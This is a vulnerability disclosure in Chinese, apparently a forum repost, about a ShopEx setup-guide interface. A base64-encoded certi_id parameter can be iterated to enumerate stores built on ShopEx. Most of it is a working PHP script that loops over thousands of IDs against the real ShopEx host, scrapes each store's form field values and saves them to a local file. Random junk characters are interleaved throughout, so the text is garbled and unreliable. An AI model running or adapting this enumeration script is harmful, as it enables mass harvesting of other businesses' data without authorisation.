|
|
简要描述:! T! U/ z2 s6 Y1 M
ShopEx某接口缺陷,可遍历所有网站+ W9 F$ i) Q! |! r, x. O* W
详细说明:
4 }: ]4 m7 U2 j* t6 V, p' i+ |5 o问题出现在shopex 网店使用向导页面 8 O p' p/ b3 u8 d4 \$ @) `" q
9 S! b7 ]3 e0 }9 J8 {' t/ }, D3 J, J& F* j% s$ T
! G6 d0 h; b0 v/ C7 O2 n: Xhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=0 Z/ w$ O/ k. A8 _* l
+ z6 g& m) u& D( W6 @9 K7 K# h
. L$ f9 |% v5 D3 r, ^& F
2 b: M: I4 p% O6 K- E+ ^! M8 H
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}6 o9 ^1 \0 h1 K M. d% _
4 P; P* L- M' o3 K9 o1 |3 I/ \
* ?$ T' v6 e- t* h
6 T) U. S9 i( y6 w, r2 k我们修改certi_id 即可遍历所有使用了ShopEx程序的网站 + D7 J7 `$ T! C/ P& F6 v& I1 J
$ I2 O% g, Q. {
0 z3 q$ Q0 W6 M9 t5 ^' m' ]! A0 a& v, h% f
<?php, w+ X9 G6 q- O$ w% J" |% z l' [
# @ `9 }3 G7 E/ p" e for ($i=1; $i < 10000; $i++) { //遍历1 R y! H! q7 i7 f
7 _) ^9 i3 p: d3 D% Y% } b ShowshopExD($i);
# {) M8 o) l2 t; a
) X/ ~) a8 g+ b: P& m3 A, e3 h }
( I& j7 f4 a- D0 J4 h' u) S4 I! E' D1 @, _4 W l: W D- w0 G# I
function ShowshopExD($cid) {( w2 m. I( n1 S+ p2 K. j- \, F. f4 k
- o1 K: O, Z5 |
$url='http://guide.ecos.shopex.cn/step2.php';& X& J3 u$ Q9 z( J: L$ |2 R
& l: ~5 D: Z& Z" G& r $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');2 n: G1 J5 e# [: D( L
$ f, A8 p X, l& m1 W $url = $url.'?refer='.$refer;
: F6 j) s6 A! v# ~' Z3 u8 j' w' L3 N- q1 }. b& z$ j. h
$ch = curl_init($url);
) c0 a9 y# i# A6 A- A' j3 @6 c+ b1 ]+ ]% ]( e5 w3 u* }8 E6 m
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;, e' Z; _ Y* p
% i0 G& c7 N9 ?
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
+ d% |/ k% J# ^8 x, p" m9 f) f7 R
6 } q* C$ H" L& G5 Q+ W \* h $result = curl_exec($ch);
9 u0 n- ] c. G3 A' x; g4 R" r1 l: [, }1 F
$result = mb_convert_encoding($result, "gb2312", "UTF-8");- U! [! j( u- m% v, Z
' R& h9 |; ?1 @( P+ P7 m* L( o& @
if(strpos($result,$refer))
3 M( b$ w2 q9 j+ ^: R
* A$ N$ v7 N' { g; p {/ z$ k" B( _' W1 K Q: k: w
4 [/ k# l* l: k* c6 h $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
' p v+ _2 d9 {: i% b O1 \8 h+ f" Z+ V, n- J
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);! R& H+ f# e. N; _5 a* y" h
1 H% F% |4 j7 y! v4 h foreach ($value[1] as $key) {
3 s I" \3 O. H" s! |' s
! i% d# Q |% c# `8 o: f. R% z preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
3 I- E/ v9 A2 [& k
' T/ t! v: B4 A$ R- f echo $res[1][0].':'.$res[3][0]."\r\n";
! }5 `& }$ n# U
0 C( h- s+ A% K, K7 |, R6 }% x $col =$res[1][0].':'.$res[3][0]."\r\n"; 0 R w1 j- s9 C" ~6 T
" R P% z& h1 _+ w0 B# R# N# k6 a fwrite($fp, $col, strlen($col));
- Y6 X) j3 l4 i! M `3 R
* r4 o" A: e( T: C5 y }+ ^, Q+ L/ n+ i4 t) V# s' {+ n
& E' f' u" p G echo '--------------------------------'."\r\n";
0 P& J; \% f. i1 K" Q' W4 z7 f7 }+ u0 D1 h0 P, n
fclose($fp);
4 O1 n. m& d% K& X) u; c* ^- x, H) G8 G; [
}
9 k2 t1 k, v8 u6 c) J$ B
6 ^# D* \9 J& y flush();
& j8 O3 j# y7 c0 u! N% S, u2 ^0 O, n8 I4 D. }* x
curl_close($ch);
6 E1 k7 p* X2 B6 x# l& }" X
' R! i$ H! ?4 M' T" z9 d5 H! w }
" v2 y, Q1 l2 f2 B6 w, w8 [! T- ~1 P0 ?3 S( g
?>; E' C0 l5 k4 R( j6 G. Q7 T2 R2 H
漏洞证明:
?( P; t3 q& Khttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
3 I% e) i+ y q- ]# H% `refer换成其他加密方式
, U- A* y8 J! b* ^$ ? |
|